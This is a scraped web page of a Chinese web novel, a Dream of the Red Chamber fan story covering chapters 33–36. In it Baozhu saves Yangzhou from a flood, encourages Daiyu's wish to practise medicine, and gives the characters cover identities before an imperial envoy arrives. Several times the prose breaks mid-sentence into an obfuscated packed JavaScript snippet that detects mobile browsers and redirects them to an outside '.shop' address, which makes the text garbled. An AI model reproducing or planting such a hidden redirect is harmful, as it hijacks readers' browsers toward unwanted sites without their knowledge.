0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361302|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下人,独自一人坐在书房中。他沉思良久,铺纸研墨,将扬州的水患和今天的奇遇一一写在了要送往京城的奏书上。只是写到最后几行,林如海又停住了笔。 也许是出于谨慎,也许是出于对女儿的爱护。一贯自认忠君报国的林如海一时也拟不清心中的思绪,终究还是没有把对“那位神仙”身份的猜测写上去。 次日,这封奏书被加急送往了京城。而一同送出扬州的还有来自扬州知府的奏书。 信使们快马加鞭,不辞辛苦地奔波在江南到北京的路上。终于在几天后,宝珠重新连上红楼世界的当天,两份奏书一前一后送到了紫禁城中。 这时已经散朝,皇帝正在御书房中处理公务。打开林如海的奏书,这位才三十五六岁、鬓边却已有了数根白发的皇帝越看越迷惑,“神仙救灾?林如海何时也变得如此荒唐了!他是病糊涂了吗?!” 他放下奏书,又拿起扬州知府的。然后这位皇帝真的困惑了,不可能他的两位重臣都病糊涂了,而要说是他们串通来欺瞒自己就更不可能了。不提林如海本身就是自己的心腹,他拿这种话来骗自己有什么好处? 皇帝如今登基已经八年,海内升平、皇位稳固,并不需要神仙这种祥瑞来为他壮声势。而他现在正值壮年,也不像老年人那样迫切地追求长生之道。 既然如此,皇帝就实在想不出他们这样做的理由。 难道是被人蒙骗? 根本没有想过“神仙”之事可能为真的皇帝立刻就选择了这个答案。 能把一位御史、一位封疆大吏同时蒙骗的不可能是平常人,用的也不可能是平常手段。而且此事还涉及到扬州水患的处理以及两位重臣的颜面,皇帝皱起眉头想了想,招手叫来守在书房门口的内侍,“去请北静王过来。” 宝珠并不知道自己在扬州的露面引发了后续这些事,她这时正看着平静流淌的运河松了口气。这时正值中午,虽然宝珠看不见天空,但河面上反射着金色的阳光,还有洁白的云彩点缀,一切既美好又宁静,仿佛前几天的阴沉暴虐都是梦幻一般。 扬州城外,有许多人正跪在河边,面朝着运河的方向焚香祷告。他们除了感激之外,还向那位善良的神仙祈求着把黑墙收回。洪水已经退去,城内的河水又成了许多人生活的必需品。 其实这一点不用他们祈求,宝珠也是要准备这么做的。她把烤盘从泥地中拔起,经历过红楼世界的洪水冲击,烤盘依然完好如初,只是在靠下的一侧全是泥水,还有一些非常细小的水草、垃圾藏在里面。 本来这个盘子就不常用,现在更是直接被排除餐具的行列了。宝珠随手把这个立下了大功德的烤盘放到客厅的垃圾桶里,那里面还有上次用过的水勺。用过就扔,就是这么无情。 而正在运河边上的扬州人目睹了这神奇的一幕。那座拯救了他们的黑墙无声地拔地而起,然后消失在晴朗的天空中。河水随即涌入扬州的河道,内河再次丰盈起来。 他们马上意识到了宝珠的存在,他们欢呼着喊道:“神仙,神仙回来了!”声音此起彼伏,饱含真心的欢喜。 33.第 33 章 “宝珠姐姐,你今天好像很开心?”黛玉在窗边歪着头,有些好奇地看着宝珠。 “因为我刚才做了件好事啊。”宝珠笑着回答。 “什么好事啊,宝珠姐姐和我说说嘛。”黛玉还是第一次见到这样快乐都要满溢出来的宝珠。 宝珠当然不能拒绝撒娇的林妹妹,便把扬州那边的情况一一讲述起来。知道扬州因为连日大雨起了水灾,黛玉最先想到的就是久病初愈的父亲,好在宝珠一直有在关注林府,“不用担心你的父亲,他现在虽然忙于公务,但身体还好,比我之前见他时健康多了。” 听到林如海安然无恙,林府上下也都安全,黛玉这才放心下来。但当宝珠说起狂怒奔涌的河水、无助挣扎的落水者,黛玉的心又为他们而揪紧了。好在宝珠并无意在少女面前着重描述人间残酷的一面,很快就把重心放到了她如何堵水,如何救人,这才让黛玉紧皱的眉头舒展开来。 “难怪姐姐上次那么早就走了,原来姐姐去做了这么大的一场功德。”黛玉看着宝珠的眼中又多了几分敬佩。 “功德不功德的无所谓,我做了好事,自己开心就很好了。”宝珠这样说着,眉眼间都带着温柔的笑意。 “行善不求回报,宝珠姐姐这样才是真正的大善。”宝玉撩起竹帘,从房外进来。 宝珠早就看到他从外面过来,黛玉却奇怪地问他,“你不是刚去北静王府吗,怎么这会儿就回来了?” “今天不巧,刚到王府,王爷就被急召入宫,所以我就回来了。”宝玉擦擦额头上因为一路小跑而出的薄汗,嘻嘻笑着坐在黛玉旁边,黛玉嫌弃地推了推他,“一身汗味,离我远点。” 宝玉也不在意,往旁边做势挪了挪,其实根本没动多少。但黛玉也就默认了,又把自己的帕子丢给宝玉。宝玉小心地抹了抹汗,把帕子收在自己的袖子里,黛玉和宝珠假装没看到。 正好紫鹃送上来一杯温度刚好的解暑茶,宝玉咕噜咕噜地喝了,这才算是消了一身的热气。 “这么大热的天,你跑那么快做什么?也不怕宝珠姐姐笑话你。”黛玉看他这样子,又好气又好笑。 “我这不是怕宝珠姐姐又走了吗,上次你好歹还和姐姐说了几句话,我都没见到姐姐。”宝玉傻乎乎地笑着,“刚才姐姐是去哪里做了好事,能不能给我也说说。” 于是宝珠又把刚才和黛玉的话重复了一遍,惊得这个温室中长大的少年公子瞪大了眼睛,“我只以为四海升平,没想到苍天无情,人间还有这样的惨事。”想了想,他又摇头,“苍天既然能容许姐姐救人,想来也不是全然无情……” “苍天到底有情无情,我们如何知道,尽人事问心无愧就可以了。”宝珠可不太管这些。 宝玉和黛玉听了都点头认同。宝珠又说起今天所见到的灾后情况,扬州那个胖知府确实是个能干实事的,虽然宝珠未曾亲眼见到扬州府的其他地方,但只看从扬州城内运出的物资车马不断,城门外接受施粥的难民队伍井然有序,她也对之后的赈灾有了一些信心。 当时得到城外人群的报信,因为连日辛苦、脸上已经挂着黑眼圈的知府连忙带着府衙的大小官吏出来叩拜。可他们又看不见宝珠,白白在那里拜了半天,还是宝珠终于看不下去,用笔在他们面前的地上写字才让他们退去了。 “希望他们不会吐槽所谓的神仙的字太难看吧。”宝珠自己先吐槽自己。 黛玉笑了起来。“宝珠姐姐是又用了繁体字吧,一时写不惯也是正常的。其实一些常用字大家也能猜的出来,姐姐不必每次都将就我们。” 不,我不是写繁体字难看,我是写字难看。见黛玉误会,宝珠想了想还是选择了要脸面,没有把实情说出口。 以前她给宝玉和黛玉的东西都是尽量转换成繁体字,但时间长了总有疏忽或是改不了的时候,比如视频中带的字幕,又比如图片上的文字。黛玉和宝玉好几次都表达了困惑,宝珠干脆为他们各自买了一本简繁体的中文对照字典,要不然上次宝珠也不敢直接把买来的医书交给黛玉。 说起这个话题,宝玉也有话说,“对对,姐姐以后就写简体字好了。反正自从仓颉造字,这几千年来字体变换地也不少了,早该换了。简体字还方便记录,也省了好多时间。”作为一个需要在图纸上到处写字备注的人,他觉得宝珠姐姐送的笔和简体字都实在太方便了。 而且简体字中有许多本来就是来自古代的异体字和草书,繁简转化之间也有规律可循,两个孩子又聪慧过人,一来二去已经认识了不少简体字,偶尔不认识的联系上下文也就能猜到了。 “你羞也不羞,这话说的好像你什么时候成了礼部的主事官。”黛玉笑话宝玉。 “什么礼部的官,送我都不要。”宝玉吐了吐舌头,模样可爱。“我以后要做宝珠姐姐说的大发明家,才不要去当什么官呢。” “想当发明家可不是件容易的事哦,还不知道你有没有这个天赋。”宝珠半是鼓励半是激将地说。 宝玉点点头,“宝珠姐姐,我会努力的。”他于是又和宝珠说起这两天他在北静王府的事。他虽然年纪尚小,但水溶如今却很是重视他。每次他说出一个点子,水溶就大力支持,耗时耗力也要试着做出来。就是制作失败或是效果不如预期,水溶也并不在意,只是让人一一记录在案。所以宝玉如今的信心更足了,大有将发明家作为终身事业的趋势。 黛玉听着宝玉眼里放光地说着自己的事,有些羡慕这样的宝玉。她这些天一直在看宝珠给她的书。这些医书虽然以专业知识为主,但毕竟是没有经过宝珠“过滤”的,所以依然模模糊糊地显露出宝珠所在世界的模样,那是一个男女似乎并无差别的世界。而黛玉对“仙界”的了解越多,也就越好奇、越困惑。 她有一次和姐妹们遮遮掩掩地提起“仙界”的事情,但却只换来女孩们茫然的回应。唯有探春会面露向往,和她畅想着“如果我是个男儿,应当如何如何。” 但我不是男儿,我也不想做男儿。 黛玉又和紫鹃说起这个话题。紫鹃并不是很理解,虽然她和黛玉半为主仆半为姐妹,她也和黛玉一起看了许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368792|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多来自“仙界”的小故事,知道了许多“仙界”的事,但她对于“仙界”并不向往,也对荣国府外面的世界无感。紫鹃心目中最理想的生活就是和林姑娘待在荣国府,永远亲如姐妹,永远互相照顾。 黛玉有些难受,但她也明白自己已经比很多同样处境的女子要幸运了。能遇上宝珠姐姐,能有紫鹃、有宝玉,还有能够理解她的父亲,对她关爱备至的外祖母。 我是不是太不知足了?黛玉脸上露出了踌躇的神色。 “妹妹,林妹妹,你怎么了?”宝玉虽然在手舞足蹈地和宝珠说着话,但时不时会看向黛玉,因此第一个发现了她的不对劲。 “没事。”黛玉摇摇头,并不想打破宝玉此时的开心,但宝玉却不肯就此罢休。 “妹妹到底是怎么了,这些日子我老是见你心神不定的。是想林姑父了,还是府里哪里有不对的?” 宝珠也投来了关切的目光。“如果你真的是想家了,我送你回去就是了。”宝珠说着,比了个蹑手蹑脚的姿势。“咱们悄悄的,除了你父亲谁也不惊动,让你们说两句话就回来。” 黛玉顿时有些意动,但很快又摇摇头,“扬州刚刚受了灾,父亲现在肯定忙于公务……而且我也不是因为这个而忧心。” “是因为学医的事吗?”宝玉忙说,“我也问过王爷了,虽然女子学医的不多,但宫中也有女医,你要是实在喜欢,我去求王爷让她找一个医术好的女医来教你就是。” “学了又如何,能去行医吗?”黛玉突然问道。 “啊?”宝玉还真没有想过这个问题。原来林妹妹是为了这个而忧心吗?他挠挠头,并没有想出身边有女子可以行医的。但见黛玉脸上表情愈发忧伤,他一跺脚说道,“能行医!怎么不能行医?妹妹行医是做好事,有什么不可以的!” 黛玉摇摇头,“又说呆话了,你什么时候说了就能算数?” 宝玉张口结舌,宝珠却笑道,“那我说话能算数吗?只要黛玉你学好了本事,我保证你可以行医。”如果这话放在几天前,她可能还有点犹豫能不能说、该不该说。但现在她的想法已经不一样了,既然要做点事,让黛玉行医算什么。 黛玉惊讶地抬起头,“宝珠姐姐,我真的可以吗?” “可以啊。有宝珠姐姐在呢,你现在好好学习,宝珠姐姐相信你以后会成为一个救民疾苦的好医生。”宝珠温柔地安抚着女孩子。 黛玉本来以为自己只是有点小小的委屈,但听到宝珠这样肯定而坚决地回应了自己的愿望,她突然就心里安定了。然后就觉得鼻子一酸,有水珠不听话地从眼睛里冒了出去。整个世界顿时朦胧了,可眼前宝珠和宝玉的笑容又是那么真切。 “怎么还哭了呢,真是个傻孩子。”宝珠是明白黛玉的心情的。 “妹妹,妹妹你别哭啊~”宝玉却是慌了,他从袖子里拿了张帕子,发现是刚才藏起的林妹妹的帕子,忙又换成了自己的给黛玉擦眼泪。 黛玉又哭又笑,抢过帕子扭过身子擦干眼泪,“你管我,我就爱哭怎么了。” 34.第 34 章 见黛玉这般孩子气,宝珠忍不住笑出声。因为上次应对洪水的经验,宝珠这次本来是想提前结束、继续攒时间的,但现在有了黛玉的事,她也就不想着省时长了。 “原来妹妹是这么想的。”而宝玉见妹妹不哭了,也傻傻笑了起来。然后他开始自责,“我往常还自以为最懂妹妹,却没想到……我果然还是个蠢货。” “谁要你懂了!”黛玉这会正有些害羞呢,宝玉这么一表现,她就更别扭了。 “对对对,快出去、快出去!我们女孩子说私房话呢,你留在这里做什么?”宝珠知道黛玉脸上挂不住,刚好她也有些话要和黛玉说,就开口赶宝玉。 正从外面拿着热毛巾进来的紫鹃是个机灵的,一边给黛玉擦脸、一边也来赶他。“二爷还没去见老太太吧,正好回去换身衣服,见了老太太再过来。” 被三个女孩子一起嫌弃,宝玉无法,只好依依不舍地回了自己房里。晴雯等人看他去了黛玉房里半天才回来,也见怪不怪了。袭人也没多说什么,依然殷勤地帮他换了衣裳,送他去史老太君房里。 老太君当然也知道之前的事,但她从来都是对两个孙儿的亲密喜闻乐见,等宝玉一脸乖巧地给她请安时,她还打趣他道,“怎么又把你妹妹惹哭了,外头都听见你赔不是了。” 宝玉摸摸头,嘻嘻笑着靠在祖母身边,也不解释。 史老太君点点宝玉的额头。“真是个猴儿,亏得你妹妹脾气好。” 祖孙俩正说着,突然贾政身边的人过来报信,“老太太,北静王府的长史官刚刚过来拜见老爷,说是南边发了水灾,王爷得了旨意去扬州巡视灾情。王爷想着平日里和宝二爷亲厚,而且那边的林姑爷又是咱们姻亲,就问府里有没有意让宝二爷随他同去。既是增长见识,也是去见见亲戚。” “王爷要带我去扬州?”宝玉指着自己,一脸意外。 那人小心抬头看了老太君一眼,见老人家脸上无喜无怒,又才接着说道,“老爷刚刚已经应下了。老爷说,请老太太为宝玉准备行装,也不必多,有两身替换衣服就行,小厮也只要带上一两个,其他一切都有王爷那边呢。只是要快,明天一早就要出发。” 史老太君沉思一会,挥手让那人下去。“我知道了,让你们老爷放心就是。” 宝玉还在奇怪呢,史老太君已经让鸳鸯扶着自己到了宝玉房中。袭人和晴雯等忙出来迎,听到这时,大家都慌得不知道如何着手。 这时王夫人也闻讯而来。王夫人一贯对宝玉娇生惯养,爱得和掌上明珠一般,听到他这次突然要出远门,恨不得把所有吃的、穿的、用的都塞在宝玉的箱子里。 还好史老太君心里有数,只让丫头们收拾出一个小箱笼,放了五六身轻薄便利的衣裳,又加了两件正式场合穿的外袍就算好了。反而是手绢、袜子和靴子这些,老太君吩咐袭人多备了些。 “行走在外,又是跟着王爷去办公务,一切就以简单合用为上。”老太君见王夫人有些不满,就和她解释。她看着自家脸上还带着稚气的孙儿,又两眼含笑地叮嘱他。“外面不比家里,便是有些难处也只好忍了,不要轻易打扰王爷,知道吗?” 宝玉唯唯地应了。 黛玉这时也得了消息,在宝玉门口看他。少男少女久别重逢,这时眼见又要分别,彼此都有些不舍。 史老太君见黛玉过来,很是欢喜,忙对她招手。“好孩子,快来!这次宝玉要和王爷去扬州,你有什么要带给你父亲的,正好交给他带上。” 黛玉见房里只摆了一个箱笼,心里就明白了。“我刚从扬州回来,也没什么好带的,请宝玉帮我带封信就是。” 老太君笑道,“我知道你这孩子怕麻烦人,但哪里又缺这点地方了。你有什么想带的,只管拿过来就是。” 王夫人还想着在箱子里给宝玉多添几件,听老太君这么和黛玉说,挑着衣裳的手就顿了一顿。 老太君这时又接着说,“若不是扬州有你父亲在,王爷只怕还想不到带上宝玉呢。这会替你送点东西怎么了,不妨事、不妨事的。” 王夫人也微笑对黛玉道,“老太太说得是。你有什么要带的东西,只管交给宝玉。” 黛玉这下只得应了。两个人在旁边看史老太君和王夫人指挥着一群丫鬟在一堆衣裳和用品中挑来挑去,也插不上话,干脆偷偷地躲了出来。 “早知道这会子我要去,不如你不回来。等我们在扬州一起呆上一段时日,再一起回京城。”宝玉叹息道。 “是谁前几日一直在手机上催我回来,这会又说什么傻话。”黛玉看宝玉那副呆样,刚才那点升起的离愁别绪又消散了。“反正我们也有手机可以联系,你愁什么?只是到了王爷身边,人多眼杂的,不比在府里自在,你可千万把手机收好了,不要让人看到。缺什么东西,只管和带去的下人们说,让他们去买。若是实在买不到,或是有什么为难的、不如意的,也不要放在心上。” 宝玉听黛玉这样关心自己,脸上笑意越来越盛。等黛玉一一说完了,他又偷偷问黛玉,“刚才宝珠姐姐和你说什么了,快告诉我。” 黛玉横了他一眼,“我这里在为你操心,你就只想着问这问那的。宝珠姐姐和我说的都是真正的女儿家话,不能说给你听。” 宝玉挠挠头,“还真是女孩子家话啊。” 黛玉点点头。除了女孩子的私房话,还有女孩子的私房物呢。想到这里,黛玉又有些微微脸红,宝珠刚刚教了她许多女子的卫生知识,还送了她和紫鹃一些生理用品备用。黛玉此时还没有来过初潮,她身边没有母亲教导,虽然身为表嫂的王熙凤之前遮遮掩掩地和她说过一些,身边也有紫鹃关注,但终究是没有这么清晰明白地了解自己的身体,总是有些羞涩。 宝玉这下更好奇了,但好在还是忍了下去,最终化为一句叹息。“为什么我不是女孩子呢?” “又说傻话。”黛玉笑着一转身走了。回到房里,她铺开信纸,笔尖在纸上停留许久却一个字没有写下去。 其实刚刚宝珠还和黛玉说了最关键的一句话。 “如果以后……黛玉,你愿意到我这边的世界来吗?” 宝珠知道小女孩肯定会有纠结,所以也只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382450|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提出一个可能,并没有让黛玉立刻做决定的意思。而且说完这句话她就离开了红楼的世界。但黛玉依然被这句话牵动了心神,加上听到宝玉要走,才慌慌张张地去宝玉房间找他。 其实这和宝玉有什么相干呢? 她如果要去宝珠姐姐的世界,该顾虑的应该是父亲和外祖母的看法。 黛玉沉思良久,终于信上慢慢落笔。 ---- 另一边,宝珠其实并没有直接离开红楼世界,而是再一次地来到了扬州。她并不知道在几天后宝玉也要来到这个城市,所以还是按之前计划把视线放到了林府中。 林如海这时正在书房中处理公文。扬州府内洪水肆虐,他辖下的盐场也有不少报了灾情,但盐商们的诚信度比起老百姓来可就要差多了,他需要仔细比较探查,才不至于让朝廷或是盐民有一方吃了亏。 至于盐商…… 林如海虽然儒雅和气、一贯与人为善,但却从不敢小看了这些似乎总是对官员唯唯诺诺的大商人。 而知府那边也希望盐商这里能捐出一笔银子赈灾,既要逼一逼盐商们,又不能逼得太紧了。 林如海正思索着,突然听见窗户上轻轻响了一下。他抬起头,见窗外无人,愣了愣,便露出思索的神色。 “可是宝珠姑娘来了?” 还是挺聪明嘛,不愧是黛玉的父亲。 宝珠对林如海的机灵点了一个赞,然后从窗户递进来一张裁剪过的纸条。虽然她已经尽力把字写得小了,但在林如海看来依然是比人还高的巨型条幅。他往后退了好几步,才勉强地看清楚了纸条上面碗口大的拙劣字迹。 【林先生好。冒昧问一下,你想过以后怎么为黛玉打算吗?】 这字迹林如海半个时辰前曾经在城外见过,他顿时心里明白,拱手道,“之前救了扬州的果然是姑娘,如海替扬州百姓谢谢姑娘了。” 宝珠可不是来听这个的,她不过是临走前又想起了黛玉的事,所以提前来和家长沟通一下。所以她又敲了敲纸条。 林如海这才重新看了一边纸条上的内容,虽然有些符号第一次接触,但理解起来并没有困难。他想了一想,按道理说这是林家的私事,不足与外人论道。但他知道宝珠不是常人,难以用普通伦常约束,便坦言道。“虽未明言,但林某与玉儿的外祖母,也就是荣国府的史老太君已有默契,日后应当是黛玉、宝玉两个孩子结成姻缘。” 宝珠又点了点纸条。 林如海恍然大悟道,“我只有玉儿一个孩子,日后林府的财物都是她的。她母亲走前也为她准备了嫁妆,加上我的积蓄,定不让玉儿有艰难之日。” 他刚说完,却发现屋子里的纸条“嗖”地一下被那只无形的手抽了出去。林如海正在迷惑,那张纸条又被塞了回来,上面还多了几个字。 【我指的不是这些。】 这下,自认通达人情世故的林如海也有些困惑了。对玉儿的安排除了这些还能有什么? 难道不是给女儿备好丰足的嫁妆,寻一户可靠的婆家和一个知情知意的夫婿就行了吗? 35.第 35 章 看着满脸无辜的林如海,宝珠也有些无语,她想说什么,但这似乎已经是一个旧时代的好父亲为女儿能做的全部打算了。 这时林如海又试探着问道,“难道宝玉那边有什么不妥?若是这桩婚事不可行,我再重新打算就是了。” 宝珠:(⊙﹏⊙) 我可不是这个意思。 宝珠试着将这些日子观察到的黛玉的想法和林如海沟通了一番。 【黛玉想和其他人一样,用自己的双眼、双脚去真切地认识这个世界,想在这里寻找她的立身之道,而不是只待在家里,人生中只有家庭和婚姻。】 【我是愿意帮助黛玉实现梦想的,只是这对于当前的女子来说可能有些出格,希望林先生明白黛玉的心情,日后可能的话也能够给予她最大的自由。】 林如海自认已经是开明的家长,但宝珠这番话还是把他震惊到了。这位旧时代的文人士大夫垂目想了好一会,最后,他叹息一声,“小女能认识宝珠姑娘,这是她的机缘。姑娘对小女一片好意,林某依从就是。” 宝珠露出笑容。 【你是个好父亲。】 林如海苦笑道,“希望玉儿日后不会怪我。”女儿年幼,宝珠更是天上人,如何知道世间女子的艰难。现在给了女儿太多自由,日后若是被现实扑灭热情,会不会比最初就不曾做梦更令黛玉伤怀。 宝珠大概也能体会到一位父亲的担忧,她想了想,又向林如海递出一份好意。 【扬州现在情况还算好吧,如果有什么需要我帮忙的吗?】 说到这个话题,林如海正色拱手。“姑娘既提起,恕林某斗胆,再向姑娘请求一事……” ------- 十日后,当以水溶为首的钦差队伍到扬州府境内最北边的宝应县时,他们惊讶地发现这个遭过水灾的地方居然还算平静,虽然一路能够见到被水淹过的村庄和农田,但县城门口有施粥的队伍,城外临时搭建的棚屋区也有衙役带刀巡逻,还有吏员组织着灾民中的壮丁清理河道、焚烧垃圾。 得知钦差到来,诚惶诚恐的宝应知县殷勤地将水溶迎进了县衙,他本来是想要盛情款待一番,但水溶一行人一路从京城急行至此,实在疲惫,草草用过一些就散席了。 虽然知县心中遗憾,但水溶对他的印象其实不坏。尤其当手下将从各处收集来的消息一一汇报给水溶时,他的表情十分欣慰。“这里的知县是个能吏。”不过他夸赞的重点还是那位素未谋面的扬州知府,“刘知府坐镇府衙,却让州府各处的赈灾事宜运转自如,确实调度有方、能力出众。” 他又看看手中几张写满字迹的纸,这上面记载的是扬州知府推广到整个州府的一整套防疫和治疗措施。清理垃圾、深埋尸体、过滤井水河水、还要烧沸之后方可饮用……水溶一点点看下去,不明觉厉。 但看到最后一页,他又好奇道,“这青蒿素是什么?怎么从未听过?” 随行的人中有懂医的,想了一想便回答道,“王爷,东晋名医葛洪的《肘后备急方》中说‘青蒿一握,以水二升,渍绞取汁,尽服之’可治‘久疟’,想必这名为青蒿素的药就是从此而来了。” 水溶笑道,“原来如此,可曾验过效果?” 那送信的人连连点头,“听人说这药确实灵验,只要把粉末服下,不多时就能止住泄。若是病人腹泻多日,体力不济,还要再饮用些温热的盐水,如此十有八九都能好转。” 水溶拍手称道,“如此可太好了,不知哪位大夫妙手,本王定要上报朝廷,为他计一大功。” 那报信人脸上却露出有些尴尬的神色,“小的也打听过了,只是这药的来历说法不同。有传言是宫里赐予林御史的,也有说是刘知府向仙人求来的,总之各种荒唐说法……” “宫里要是有这等药就好了,”水溶笑着摇摇头,“百姓无知,总以为天家之物都是最好的。这也就罢了,怎么又把林御史牵扯进来。还有知府向神仙求药,唉……” 手下也笑道,“属下今日还听到好些神仙救人的故事,说是当时洪水泛滥时,神仙降下一堵黑墙护住了扬州城,还从洪水中救下了许多人。据传扬州城里还有人要给这仙人建庙立祠,只是可惜这仙人不知容貌、也未留下名号,这才作罢。” 见手下说的这话,水溶忍不住站了起来,“真有神仙降下黑墙?”难道刘知府和林如海的奏疏中说得都是真的?!他受太上皇和皇太后的影响,日常也好念佛,因此倒不像皇帝那样不信这些神仙鬼怪之事。 手下微微一愣,摇头道,“那些人也都是道听途说,不曾有人亲见,而且这话荒唐太过,只怕都是些以讹传讹的市井传闻。” 水溶觉得手下的判断有些武断了。好在他们很快就能到目的地,一切都会水落石出。“明早大家还是早起,加紧赶路,日落前务必达到扬州城。” 众人都点头,水溶又问起宝玉。一旁一个中年模样的幕僚说道,“二公子已经睡下了,刚刚找了县里的大夫为他涂了伤药,明日赶路应是无碍,只是不能再骑马了。” 水溶笑道,“那就让他坐车跟在后面,即便晚上一天到扬州也无妨。他年纪还小,这一路也难为他一直咬牙跟着了。” 众人这一路上见宝玉性情随和,也不爱叫苦,便也对这位素有纨绔之名的少年公子有了改观,又知水溶一贯看重宝玉,便齐声附和,既夸宝玉,也夸水溶慧眼识人。 但此时他们夸赞的宝玉却并没有安分地休息,而是让唯一随行的李贵守在门口,自己小心地摸出手机和黛玉、宝珠通着信息。 李贵早知宝玉有些古怪之事,但他性子可比茗烟这些小厮沉稳多了,宝玉既然要瞒着他,他就不多打听不多说,还帮着宝玉守着秘密。 【绛洞花主】:我以前都不知道骑马这么累,但这一路我也真是长了见识。只可惜路上不便拍照,没能现在给妹妹一观。等我回来再好好和你说。 【皮皮林】:[表情]微笑期待 【绛洞花主】:对了,宝珠姐姐呢,怎么又不见她? 【皮皮林】:我也不知道,刚才宝珠姐姐突然说什么“升级了”,就没再说话了。 【绛洞花主】:升级,什么是升级? 两个孩子对这个新名词都没有概念,胡乱猜了一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399598|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,黛玉又提起荣国府中的新鲜事。 【绛洞花主】:大姐姐要回来省亲? 【皮皮林】:虽是这么说,但还要先修好省亲的园子才能请旨借娘娘回来,估计怎么也要一两年。 宝玉顿时泄了气。 【绛洞花主】:既是省亲,为什么还要修什么园子?靡费钱财,还耽误了大姐姐来看老太太、太太的日子。 【皮皮林】:你居然也知道“靡费钱财”四个字了?![表情]惊讶猫猫 【绛洞花主】:以前只以为太平盛世,人人衣食无忧。这次离开了京畿之地,才知道外面有些人家贫苦之极。上次我们路过一处村寨,前去讨水喝的时候,这户人家七八个人只有一套完整的衣裳,里面的女孩子躲在房间里都不敢出来。[表情]叹息 【绛洞花主】:我房里不知多少好衣服,有些一年也不穿一回,早知道就带出来给他们了。 【饱猪儿】:看来这一路还真是让你成长了啊。[表情]摸胡须欣慰脸 【皮皮林】:宝珠姐姐! 【绛洞花主】:宝珠姐姐! 【饱猪儿】:对了,先不提这个,我有一件事要先嘱咐你们。 【饱猪儿】:我刚才和林老先生商量了一下,我的存在已经很多人都知道了。既然有钦差要来,为了以后方便,也为了你们的安全,我给我们三个人都编了一个新的身份,到时也会以这个身份出现在钦差面前,同时为我们的关系正个名。 【绛洞花主】:新身份? 【皮皮林】:[表情]猫猫好奇 【饱猪儿】:我每次过来不都是悬在空中吗,所以我就用了古时“云中君”的名号。 【皮皮林】:楚辞里的云中君啊!“灵皇皇兮既降,猋远举兮云中。览冀州兮有余,横四海兮焉穷。”现身云中,倏然南北,感觉这个名字很适合宝珠姐姐呢! 【绛洞花主】:[表情]竖起大拇指 【饱猪儿】:然后宝玉前世是神瑛侍者,黛玉是绛珠仙子。而我和你们都是旧日相识,感念旧情,所以才来扬州寻找黛玉,刚好遇到了洪水,又碰巧遇见了宝玉。所以,宝玉你要记住,你是到扬州后才和我第一次见面,可不要露馅了。黛玉,你以后也是如此。至于前世的事,你们都忘却了,别人问什么,你们都只管回答不知道。 【绛洞花主】:神瑛侍者。 【皮皮林】:绛珠仙子。 两个孩子嘴里念叨着这两个名字,一时有些失神。好在很快他们就恢复了清醒,认认真真地把宝珠交代他们的事记了下来。而宝玉更是开始担心起自己的演技来。 宝珠看着孩子们在热烈地讨论,不由得心神放松了下来。箱子刚刚又升级了,这次展现在她面前的世界大大拓宽。以前她能看到的是北京和扬州两座城市,可现在展现在她面前的却是以这两座城市为基础,拓展出来的一南一北两片不规则的偌大区域。 宝珠当时望着这广袤的山川平原、城市乡野,心里既涌起了欢喜,也突然明白了一点。 自己是可以更大胆些的。 因为这个世界再次给予了她正面的回馈。 36.第 36 章 水溶一行人策马疾奔,竟在次日下午就到了扬州城。刘知府早得了消息,带着扬州城的大小官员在城门外迎接钦差。见远远有人马簇拥着一个穿着华服的青年人过来了,忙迎上前。 水溶这次虽然是奉了皇命下江南,但却一路未曾大肆张扬,反而轻车简从、一路急行,连钦差的招牌都没有打出来。 他出京时,神仙之事还未在京城传开。在其他不知情的朝臣看来,这位郡王虽然身份尊贵,但到底年轻,身上又没有实职,因此皇帝这次派他出来,不像是多么重视江南水患,倒像是让弟弟多一份历练,也多一个资历。尤其是水溶离京时还带上了年岁更小、尚未成年的宝玉,这样的猜测也就更多了几分可信度。 等来自扬州的消息越来越多后,朝廷官员的看法就分成了两类。大部分人不相信神仙的存在,认为扬州大小官员都昏了头,被不知道那里冒出来的妖人蒙骗了。但也有许多人半信半疑。但无论持有那种看法,众人都认为北静王此去最大的任务就是查验神迹是否如实,若是属实嘛…… “毕竟太上皇年岁大了,皇帝也是一片孝心……”类似的话语不止在一处传着。 皇宫中的那位太上皇也是如此作想,而且在所有人中,他是最希望神仙之事成真的。返老还童、永生不死、得登仙界,各种美好的期望这个曾经手掌天下、现在却垂垂老矣的男人心中回荡着。 